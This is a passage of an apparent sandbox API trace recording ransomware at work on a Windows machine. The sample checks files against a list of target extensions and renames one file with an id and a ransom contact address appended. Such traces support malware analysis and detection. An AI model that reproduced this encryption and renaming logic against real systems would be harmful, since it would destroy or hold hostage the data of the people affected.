"c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0148.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0148.559] lstrlenW (lpString=".doc") returned 4 [0148.559] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0148.560] lstrlenW (lpString=".docx") returned 5 [0148.560] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0148.560] lstrlenW (lpString=".pdf") returned 4 [0148.560] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0148.560] lstrlenW (lpString=".xls") returned 4 [0148.560] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0148.560] lstrlenW (lpString=".xlsx") returned 5 [0148.560] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0148.560] lstrlenW (lpString=".ppt") returned 4 [0148.560] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0148.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0148.560] lstrlenW (lpString=".zip") returned 4 [0148.560] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0148.560] lstrlenW (lpString=".rar") returned 4 [0148.560] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0148.560] lstrlenW (lpString=".bz2") returned 4 [0148.560] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0148.560] lstrlenW (lpString=".7z") returned 3 [0148.560] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0148.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0148.560] lstrlenW (lpString=".dbf") returned 4 [0148.560] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0148.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0148.560] lstrlenW (lpString=".1cd") returned 4 [0148.560] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0148.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0148.560] lstrlenW (lpString=".jpg") returned 4 [0148.560] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0148.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0148.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0148.560] lstrlenW (lpString=".doc") returned 4 [0148.561] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0148.561] lstrlenW (lpString=".docx") returned 5 [0148.561] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0148.561] lstrlenW (lpString=".pdf") returned 4 [0148.561] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0148.561] lstrlenW (lpString=".xls") returned 4 [0148.561] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0148.561] lstrlenW (lpString=".xlsx") returned 5 [0148.561] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0148.561] lstrlenW (lpString=".ppt") returned 4 [0148.561] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0148.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0148.561] lstrlenW (lpString=".zip") returned 4 [0148.561] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0148.561] lstrlenW (lpString=".rar") returned 4 [0148.561] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0148.561] lstrlenW (lpString=".bz2") returned 4 [0148.561] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0148.561] lstrlenW (lpString=".7z") returned 3 [0148.561] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0148.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0148.561] lstrlenW (lpString=".dbf") returned 4 [0148.561] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0148.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0148.561] lstrlenW (lpString=".1cd") returned 4 [0148.561] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0148.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0148.561] lstrlenW (lpString=".jpg") returned 4 [0148.561] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0148.561] lstrcmpiW (lpString1=".avi", lpString2=".wiki") returned -1 [0148.562] lstrlenW (lpString="delete.avi") returned 10 [0148.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0148.691] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=224256) returned 1 [0148.691] CloseHandle (hObject=0x1d0) returned 1 [0148.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0148.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0148.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0148.691] lstrlenW (lpString=".doc") returned 4 [0148.691] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0148.691] lstrlenW (lpString=".docx") returned 5 [0148.691] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0148.691] lstrlenW (lpString=".pdf") returned 4 [0148.691] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0148.691] lstrlenW (lpString=".xls") returned 4 [0148.691] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0148.691] lstrlenW (lpString=".xlsx") returned 5 [0148.691] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0148.691] lstrlenW (lpString=".ppt") returned 4 [0148.691] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0148.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0148.692] lstrlenW (lpString=".zip") returned 4 [0148.692] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0148.692] lstrlenW (lpString=".rar") returned 4 [0148.692] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0148.692] lstrlenW (lpString=".bz2") returned 4 [0148.692] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0148.692] lstrlenW (lpString=".7z") returned 3 [0148.692] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0148.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0148.692] lstrlenW (lpString=".dbf") returned 4 [0148.692] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0148.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0148.692] lstrlenW (lpString=".1cd") returned 4 [0148.692] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0148.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0148.692] lstrlenW (lpString=".jpg") returned 4 [0148.692] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0148.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0148.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0148.692] lstrlenW (lpString=".doc") returned 4 [0148.692] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0148.692] lstrlenW (lpString=".docx") returned 5 [0148.692] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0148.692] lstrlenW (lpString=".pdf") returned 4 [0148.692] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0148.692] lstrlenW (lpString=".xls") returned 4 [0148.692] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0148.692] lstrlenW (lpString=".xlsx") returned 5 [0148.692] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0148.692] lstrlenW (lpString=".ppt") returned 4 [0148.692] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0148.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0148.693] lstrlenW (lpString=".zip") returned 4 [0148.693] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0148.693] lstrlenW (lpString=".rar") returned 4 [0148.693] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0148.693] lstrlenW (lpString=".bz2") returned 4 [0148.693] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0148.693] lstrlenW (lpString=".7z") returned 3 [0148.693] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0148.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0148.693] lstrlenW (lpString=".dbf") returned 4 [0148.693] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0148.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0148.693] lstrlenW (lpString=".1cd") returned 4 [0148.693] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0148.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0148.693] lstrlenW (lpString=".jpg") returned 4 [0148.693] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0148.693] lstrcmpiW (lpString1=".avi", lpString2=".wiki") returned -1 [0148.693] lstrlenW (lpString="join.avi") returned 8 [0148.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0148.694] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=222208) returned 1 [0148.694] CloseHandle (hObject=0x1d0) returned 1 [0148.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0148.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.694] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0148.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0148.694] lstrlenW (lpString=".doc") returned 4 [0148.694] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0148.694] lstrlenW (lpString=".docx") returned 5 [0148.694] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0148.694] lstrlenW (lpString=".pdf") returned 4 [0148.694] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0148.694] lstrlenW (lpString=".xls") returned 4 [0148.694] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0148.694] lstrlenW (lpString=".xlsx") returned 5 [0148.694] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0148.694] lstrlenW (lpString=".ppt") returned 4 [0148.694] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0148.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0148.694] lstrlenW (lpString=".zip") returned 4 [0148.694] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0148.694] lstrlenW (lpString=".rar") returned 4 [0148.694] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0148.694] lstrlenW (lpString=".bz2") returned 4 [0148.694] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0148.695] lstrlenW (lpString=".7z") returned 3 [0148.695] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0148.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0148.695] lstrlenW (lpString=".dbf") returned 4 [0148.695] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0148.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0148.695] lstrlenW (lpString=".1cd") returned 4 [0148.695] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0148.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0148.695] lstrlenW (lpString=".jpg") returned 4 [0148.695] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0148.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0148.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0148.695] lstrlenW (lpString=".doc") returned 4 [0148.695] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0148.695] lstrlenW (lpString=".docx") returned 5 [0148.695] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0148.695] lstrlenW (lpString=".pdf") returned 4 [0148.695] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0148.695] lstrlenW (lpString=".xls") returned 4 [0148.695] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0148.695] lstrlenW (lpString=".xlsx") returned 5 [0148.695] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0148.695] lstrlenW (lpString=".ppt") returned 4 [0148.695] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0148.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0148.695] lstrlenW (lpString=".zip") returned 4 [0148.695] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0148.695] lstrlenW (lpString=".rar") returned 4 [0148.695] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0148.695] lstrlenW (lpString=".bz2") returned 4 [0148.695] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0148.696] lstrlenW (lpString=".7z") returned 3 [0148.696] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0148.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0148.696] lstrlenW (lpString=".dbf") returned 4 [0148.696] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0148.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0148.696] lstrlenW (lpString=".1cd") returned 4 [0148.696] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0148.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0148.696] lstrlenW (lpString=".jpg") returned 4 [0148.696] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0148.696] lstrcmpiW (lpString1=".avi", lpString2=".wiki") returned -1 [0148.696] lstrlenW (lpString="split.avi") returned 9 [0148.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0148.696] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=194048) returned 1 [0148.696] CloseHandle (hObject=0x1d0) returned 1 [0148.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0148.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.697] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0148.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0148.697] lstrlenW (lpString=".doc") returned 4 [0148.697] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0148.697] lstrlenW (lpString=".docx") returned 5 [0148.697] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0148.697] lstrlenW (lpString=".pdf") returned 4 [0148.697] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0148.697] lstrlenW (lpString=".xls") returned 4 [0148.697] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0148.697] lstrlenW (lpString=".xlsx") returned 5 [0148.697] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0148.697] lstrlenW (lpString=".ppt") returned 4 [0148.697] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0148.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0148.697] lstrlenW (lpString=".zip") returned 4 [0148.697] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0148.697] lstrlenW (lpString=".rar") returned 4 [0148.697] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0148.697] lstrlenW (lpString=".bz2") returned 4 [0148.697] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0148.697] lstrlenW (lpString=".7z") returned 3 [0148.697] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0148.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0148.697] lstrlenW (lpString=".dbf") returned 4 [0148.697] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0148.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0148.697] lstrlenW (lpString=".1cd") returned 4 [0148.698] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0148.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0148.698] lstrlenW (lpString=".jpg") returned 4 [0148.698] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0148.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0148.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0148.698] lstrlenW (lpString=".doc") returned 4 [0148.698] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0148.698] lstrlenW (lpString=".docx") returned 5 [0148.698] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0148.698] lstrlenW (lpString=".pdf") returned 4 [0148.698] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0148.698] lstrlenW (lpString=".xls") returned 4 [0148.698] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0148.698] lstrlenW (lpString=".xlsx") returned 5 [0148.698] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0148.698] lstrlenW (lpString=".ppt") returned 4 [0148.698] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0148.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0148.698] lstrlenW (lpString=".zip") returned 4 [0148.698] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0148.698] lstrlenW (lpString=".rar") returned 4 [0148.698] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0148.698] lstrlenW (lpString=".bz2") returned 4 [0148.698] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0148.698] lstrlenW (lpString=".7z") returned 3 [0148.698] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0148.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0148.698] lstrlenW (lpString=".dbf") returned 4 [0148.698] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0148.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0148.699] lstrlenW (lpString=".1cd") returned 4 [0148.699] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0148.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0148.699] lstrlenW (lpString=".jpg") returned 4 [0148.699] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0148.699] lstrcmpiW (lpString1=".avi", lpString2=".wiki") returned -1 [0148.699] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0148.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0148.700] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1600388) returned 1 [0148.700] CloseHandle (hObject=0x1d0) returned 1 [0148.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0148.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.700] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0148.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0148.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0148.700] lstrlenW (lpString=".doc") returned 4 [0148.700] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0148.700] lstrlenW (lpString=".docx") returned 5 [0148.700] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0148.700] lstrlenW (lpString=".pdf") returned 4 [0148.700] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0148.700] lstrlenW (lpString=".xls") returned 4 [0148.700] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0148.700] lstrlenW (lpString=".xlsx") returned 5 [0148.700] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0148.700] lstrlenW (lpString=".ppt") returned 4 [0148.700] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0148.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0148.700] lstrlenW (lpString=".zip") returned 4 [0148.700] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0148.701] lstrlenW (lpString=".rar") returned 4 [0148.701] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0148.701] lstrlenW (lpString=".bz2") returned 4 [0148.701] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0148.701] lstrlenW (lpString=".7z") returned 3 [0148.701] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0148.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0148.701] lstrlenW (lpString=".dbf") returned 4 [0148.701] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0148.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0148.701] lstrlenW (lpString=".1cd") returned 4 [0148.701] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0148.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0148.701] lstrlenW (lpString=".jpg") returned 4 [0148.701] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0148.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0148.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0148.701] lstrlenW (lpString=".doc") returned 4 [0148.701] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0148.701] lstrlenW (lpString=".docx") returned 5 [0148.701] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0148.701] lstrlenW (lpString=".pdf") returned 4 [0148.701] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0148.701] lstrlenW (lpString=".xls") returned 4 [0148.701] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0148.701] lstrlenW (lpString=".xlsx") returned 5 [0148.701] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0148.701] 